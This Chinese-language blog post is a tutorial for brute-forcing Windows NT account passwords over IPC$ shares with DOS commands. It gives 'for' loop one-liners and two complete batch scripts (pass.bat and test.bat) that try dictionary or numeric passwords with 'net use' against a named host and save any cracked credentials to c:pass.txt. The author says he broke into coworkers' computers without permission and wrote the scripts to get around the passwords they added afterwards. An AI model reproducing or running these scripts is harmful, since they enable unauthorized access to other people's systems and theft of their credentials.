知道一個用戶帳號密碼後用dos指令破解nt

假如知道一個NT帳戶與密碼,就可以用
      net use \主機ipc$ "密碼" /user:"用戶"
與遠程主機建立連接,這是每一個黑客或是夢想成為又或是正在努力成為黑客的朋友都知道的方法,甚至連我這個連菜鳥都算不上的小鳥都知道,我也僅僅知道這一條,我就用我僅僅知道的這一條在區域網裡進入別人的電腦,因為他們的電腦密碼都為空,被他們發現了之后狠K了一頓,然后紛紛加上了密碼,這下可沒戲了,想去偷窺他們的密碼他們又防得緊,只得想其他辦法,也許各位大蝦們就會利用其他方法,諸如尋找系統之類得到管理權限,而我不行,因為我前面說過,我只會那一條,那又會有人說用軟體暴力破解密碼就可以了,可是我不想用那些高深的軟件也沒有天賦去研究那些複雜的用法,卻在無意間看DOS的說明文件時發現了一些命令,當真是天無絕人之路:
  1、字典:for /f %i in (字典文件) do net use \主機ipc$ "%i" /user:"用戶"
  2、數字:for /l %i in (start,step,end) do net use \主機ipc$ "%i" /user:"用戶"
以上可參看DOS里面for說明文件,還別說,真讓我給連上幾台機子,可問題也隨之而來,連是連上了,我仍然不知道密碼,下次要用還得重新全部試過。
   
  正失望,無意間又發現了一個好方法,也許我太笨,他們更聰明,,說不定你們早已經發現了,不再說廢話,下面就將方法全部給出,請各位大蝦指正:

  將下面文件存為pass.bat:

@echo off
echo ------------------------------------------------------------------- >>c:pass.txt
echo ------------------------------------------------------------------- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解結果: >>c:pass.txt
if "%6"=="1" goto shit2
:shit1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:shit2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit

  將下面文件存為test.bat:

net use \%1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執行返回結果,net use成左藀^0,失敗返回2
:answer0
echo         遠程主機:"%1" >>c:pass.txt
echo         用  戶:"%3" >>c:pass.txt
echo         密  碼:%2 >>c:pass.txt
net use \%1ipc$ /delet
exit
:answer2

  將pass.bat與test.bat存放于system32中(方便dos取用,不然收到那個目錄都行),用法如下:
      1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
      2、如果用數字破解:pass.bat 起始數 步長 結束數 主機 用戶名 1
密碼破解出來之后,存放于c:pass.txt文件里面。
  另外,我做的這些只是在區域網內測試,如果遠程測試,受網速限制,具體情況只能靠自己去摸索。
創作者介紹
創作者 阿 鴻的部落格 的頭像
阿 鴻

阿 鴻的部落格

阿 鴻 發表在 痞客邦 留言(0) 人氣( 246 )